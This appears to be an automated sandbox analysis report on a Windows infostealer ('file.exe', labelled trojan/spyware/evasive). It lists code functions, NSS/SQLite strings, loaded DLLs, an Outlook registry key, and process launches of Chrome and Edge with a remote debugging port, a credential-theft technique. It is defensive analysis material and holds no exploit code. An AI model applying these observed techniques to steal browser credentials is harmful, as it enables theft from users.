Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC670	0_2_6C5AC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7E10	0_2_6C5E7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609E30	0_2_6C609E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5600	0_2_6C5F5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6176E3	0_2_6C6176E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ABEF0	0_2_6C5ABEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFEF0	0_2_6C5BFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604EA0	0_2_6C604EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C5E90	0_2_6C5C5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E680	0_2_6C60E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7710	0_2_6C5E7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B9F00	0_2_6C5B9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6FF0	0_2_6C5D6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ADFE0	0_2_6C5ADFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F77A0	0_2_6C5F77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8850	0_2_6C5C8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD850	0_2_6C5CD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EF070	0_2_6C5EF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B7810	0_2_6C5B7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EB820	0_2_6C5EB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4820	0_2_6C5F4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6150C7	0_2_6C6150C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC0E0	0_2_6C5CC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E58E0	0_2_6C5E58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D60A0	0_2_6C5D60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B170	0_2_6C61B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CA940	0_2_6C5CA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB970	0_2_6C5FB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BD960	0_2_6C5BD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5190	0_2_6C5E5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD9B0	0_2_6C5DD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C602990	0_2_6C602990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC9A0	0_2_6C5AC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9A60	0_2_6C5E9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8AC0	0_2_6C5E8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1AF0	0_2_6C5C1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EE2F0	0_2_6C5EE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612AB0	0_2_6C612AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BCAB0	0_2_6C5BCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61BA90	0_2_6C61BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A22A0	0_2_6C5A22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D4AA0	0_2_6C5D4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5340	0_2_6C5A5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BC370	0_2_6C5BC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED320	0_2_6C5ED320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6153C8	0_2_6C6153C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF380	0_2_6C5AF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5E94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5DCBE8 appears 134 times

Source: file.exe, 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2511898332.000000006C825000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: zpcrkvoh ZLIB complexity 0.9946267950895614

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@67/297@26/25

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C607030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C607030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\9WO8PN3Z.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\917019e0-9423-4000-9976-d6faa002748d.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2511054847.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2504951278.000000001D345000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2511742254.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2511054847.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2504951278.000000001D345000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2511742254.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2511054847.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2504951278.000000001D345000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2511742254.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2511054847.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2504951278.000000001D345000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2511742254.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2511054847.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2504951278.000000001D345000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2511742254.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2511054847.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2504951278.000000001D345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2511054847.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2504951278.000000001D345000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2511742254.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2369434501.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367794998.000000001D20C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261559613.000000001D218000.00000004.00000020.00020000.00000000.sdmp, AAFBAKECAEGCBFIEGDGI.0.dr, CGIDHIIJKEBGHJJKFIDA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2511054847.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2504951278.000000001D345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2511054847.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2504951278.000000001D345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2208,i,3093689444487750975,6565442799482959495,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2204,i,12172044377707494859,3018928123666572139,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2636 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6696 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6852 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6932 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2208,i,3093689444487750975,6565442799482959495,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2204,i,12172044377707494859,3018928123666572139,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2636 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6696 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6852 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6932 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2096128 > 1048576

Source: file.exe

Static PE information: Raw size of zpcrkvoh is bigger than: 0x100000 < 0x194c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2511742254.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2486320948.000000000038C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2063912669.0000000004B1B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2512032465.000000006CFA1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2486320948.000000000038C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2063912669.0000000004B1B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2512032465.000000006CFA1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
